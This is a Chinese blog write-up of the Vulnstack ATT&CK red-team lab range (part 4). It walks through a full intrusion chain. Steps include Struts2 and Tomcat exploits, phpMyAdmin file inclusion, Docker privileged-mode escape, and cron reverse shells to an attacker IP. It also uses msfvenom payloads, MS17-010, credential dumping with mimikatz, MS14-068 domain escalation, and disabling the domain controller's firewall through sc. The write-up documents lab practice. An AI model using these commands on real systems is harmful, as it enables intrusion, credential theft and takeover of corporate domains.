前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ATT&CK实战系列-红队实战(四)

ATT&CK实战系列-红队实战(四)

作者头像
用户2700375
发布2023-03-08 21:37:17
7000
发布2023-03-08 21:37:17
举报
文章被收录于专栏:很菜的web狗很菜的web狗

新年第一篇,实在无聊想着先打完红日的靶场,没什么技术含量就当做个笔记。

2023年了也面临毕业了,今年要更卷一点,提升自己准没错的。

靶场下载地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

靶机配置

WEB主机 ubuntu:ubuntu 内网ip 192.168.183.129 外网ip 192.168.31.199

WIN7主机 douser:Dotest123 内网ip 193.168.183.3

(DC)WIN2008主机 administrator:Test2023 内网ip 192.168.183.130

WEB主机(Ubuntu)上启动环境

sudo docker start ec 17 09 bb da 3d ab ad

环境使用docker开启的,后续会有docker逃逸相关操作

渗透测试

扫描端口开放情况

代码语言:javascript
复制
nmap -sS -p 1-65535 -A -V 192.168.31.199
image-20230130224802653
image-20230130224802653

开放了 22 2001 2002 2003端口

2001端口存在struts2漏洞

image-20230130224904685
image-20230130224904685

2002 端口是一个tomcat 没测试是否存在漏洞

image-20230130225011933
image-20230130225011933

2003端口是一个空密码的phpmyadmin

image-20230130225041820
image-20230130225041820

Struts2

我们直接利用2001端口的struts2漏洞

http://192.168.31.199:2001/

image-20230130230400692
image-20230130230400692

验证并执行成功。接下来为了方便我生成一个哥斯拉,上传上去。

image-20230131103903698
image-20230131103903698
image-20230131104116157
image-20230131104116157

Tomcat

再来看看Tomcat 经测试发现存在 CVE-2017-12615 任意文件写入漏洞

image-20230206101853063
image-20230206101853063
image-20230206101924616
image-20230206101924616

phpmyadmin

空密码的phpmyadmin

image-20230206102252394
image-20230206102252394

用户为test,权限不大,日志写shell不太可能。

经测试存在文件包含漏洞。

代码语言:javascript
复制
http://192.168.31.199:2003/index.php?target=db_sql.php%253f/../../../../../../../../../etc/passwd
image-20230206102748043
image-20230206102748043
image-20230206104807635
image-20230206104807635
代码语言:javascript
复制
Set-Cookie: phpMyAdmin=077b0523106423df70f4e354379eb8a7; path=/; HttpOnly

cookie中的phpmyadmin值就是session id

我们有了 sessionid 然后我们包含这个session文件

代码语言:javascript
复制
http://192.168.31.199:2003/index.php?target=db_sql.php%253f/../../../../../../../../../tmp/sess_077b0523106423df70f4e354379eb8a7
image-20230206105022182
image-20230206105022182

内网渗透

三个web都存在漏洞,接下来我们利用上面 Struts2漏洞上传的哥斯拉shell来进行内网渗透。

Docker逃逸

判断是否为docker环境

ls -al /.dockerenv #查看根目录下是否存.dockerrnv文件 cat /proc/1/cgroup #查看系统进程的cgroup信息

image-20230206105612524
image-20230206105612524

发现为docker环境,所以需要docker逃逸。

Docker逃逸的方法分为几种 危险配置逃逸、危险挂载逃逸、程序漏洞逃逸、内核漏洞逃逸。后面单独总结一下逃逸的方法和靶场。

逃逸过程中遇到了一些坑,最后看了其他大佬博客发现通过Struts2获得的shell 确实不能实现逃逸。

要用Tomcat获得的shell就可以。只能重新再Tomcat put一个shell了。

为了方便后续操作我们先反弹一个shell过来。

特权模式逃逸

Docker 高危启动参数 – privileged 特权模式启动容器 当操作者执行docker run –privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

查看磁盘文件 fdisk -l

建一个目录:mkdir /test

挂载磁盘到新建目录:mount /dev/sda1 /test

切换根目录:chroot /test

到这里已经成功逃逸了,然后就是常规的反弹shell 和 写 ssh 了。

image-20230206114704797
image-20230206114704797

接下来和 Redis未授权差不多,利用计划任务,反弹shell回来

代码语言:javascript
复制
echo '*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.31.223/8888 0>&1' >> /test/var/spool/cron/crontabs/root

此过程中是失败了 因为 chroot /test切换根目录的时候根本就没有成功,可能就是因为这个原因导致我无法写入计划任务,不止计划任务经测试没有写入权限。。。

尝试用MSF生成一个Linux木马,利用MSF的shell试一下。

代码语言:javascript
复制
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.223 LPORT=4444 -f elf > shell.elf
代码语言:javascript
复制
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.31.223
set lport 4444
exploit
image-20230207190514316
image-20230207190514316
image-20230207192850307
image-20230207192850307

MSF下的shell切换成功了。

代码语言:javascript
复制
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.31.223/8888 0>&1"  >> /tmp/test.sh
sed -i '$a*/1 *    * * *    root  bash /tmp/test.sh ' /etc/crontab 
cat /etc/crontab
image-20230207192245095
image-20230207192245095

此时也利用计划任务crontab提权到root权限

nc这边也是监听到了,到这里我们就Docker逃逸成功,成功拿到宿主机的shell了。

image-20230207192314796
image-20230207192314796
image-20230208094537708
image-20230208094537708

发现两个网卡 内网网段为192.168.183.1

横向移动

老规矩先上传个fscan扫一下内网。

代码语言:javascript
复制
wget http://192.168.31.223:80/fscan_amd64
chmod +x fscan_amd64
./fscan_amd64 -h 192.168.183.1/24
image-20230208094815662
image-20230208094815662

WIN7主机 193.168.183.3

(DC)WIN2008主机 192.168.183.130

都存在17010漏洞。

为了方便进行后续17010等操作,我们将宿主机上线到msf里

和上面操作类似,生成elf 进行监听

image-20230208160212076
image-20230208160212076
代码语言:javascript
复制
添加路由
run autoroute -s 192.168.183.0/24
查看路由
run autoroute -p
设置代理
search socks
use auxiliary/server/socks_proxy
set srvhost 192.168.31.223
set srvport 1088
run
image-20230208162357745
image-20230208162357745

经过刚才fscan扫描,发现其他两台机器都存在17010漏洞,利用17010打win7。

代码语言:javascript
复制
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.183.3

一直是失败的,猜测是不是因为msf路由的问题。

尝试了无数次才成功打下来了。

image-20230210161655226
image-20230210161655226
image-20230210162129268
image-20230210162129268

tasklist /v查看进程发现存在DEMO域成员进程,尝试抓取其密码

image-20230210163633770
image-20230210163633770
代码语言:javascript
复制
#msf6中mimikatz已经不可以用了,mimikatz模块已经合并为kiwi模块
load kiwi #加载kiwi模块
creds_all #列举所有凭据
image-20230210165510220
image-20230210165510220

成功抓取到douser域用户的密码。

mimikatz工具这台主机桌面上已经也已经有了。

代码语言:javascript
复制
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
代码语言:javascript
复制
USER: douser
Domain: DEMO.COM
SID: S-1-5-21-979886063-1111900045-1414766810-1107
NTLM: bc23b0b4d5bf5ff42bc61fb62e13886e
PASSWORD: Dotest123

接下来就是如何获取域控

域提权

利用Kerberos 域用户提权漏洞(MS14-068;CVE-2014-6324)来获得域控。

该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。

利用MS14-068生成票据

又恰好靶场创建者把 MS14-068提权工具也被放到了桌面上。

代码语言:javascript
复制
MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
image-20230211180651716
image-20230211180651716

既然已经成功生成票据,接下来我们用mimikatz导入票据进去

代码语言:javascript
复制
Kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache
image-20230210172622199
image-20230210172622199

成功获得域控权限,并且 net time /domain 得到了域控主机名

控制域成员与域控建立一个ipc链接,然后我们生成一个msf后门到这台win7 最后通过win7上传到这台08域控

代码语言:javascript
复制
net use \\WIN-ENS2VR5TR3N\c$

利用MSF生产一个正向连接的payload

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=7777 -f exe > shell.exe

将shell.exe上传到win7跳板机。将shell.exe复制到域控

代码语言:javascript
复制
copy shell.exe \\WIN-ENS2VR5TR3N\c$

利用sc关闭防火墙,并执行shell.exe后门

代码语言:javascript
复制
sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off" 
sc \\WIN-ENS2VR5TR3N start ProFirewall 
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\shell.exe" 
sc \\WIN-ENS2VR5TR3N start Startup

msf监听

代码语言:javascript
复制
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.130
set LPORT 7777
exploit

最后域控 192.168.31.130 上线。

总结

Struct2、Tomcat、PHPmyadmin 可拿shell

通过Tomcat 拿到shell 发现为Docker环境 上线到MSF Docker特权模式下逃逸姿势,上线宿主机。

添加路由 MS17-101漏洞打掉win7 抓取域内用户密码等,利用域提权MS14-068生成票据,导入票据,拿到域控权限,后生成正向链接马,利用 ipc sc 上传执行马上线到MSF中。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-01-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 靶场下载地址
  • 靶机配置
  • 渗透测试
    • Struts2
      • Tomcat
        • phpmyadmin
        • 内网渗透
          • Docker逃逸
            • 横向移动
              • 域提权
              • 总结
              相关产品与服务
              容器镜像服务
              容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档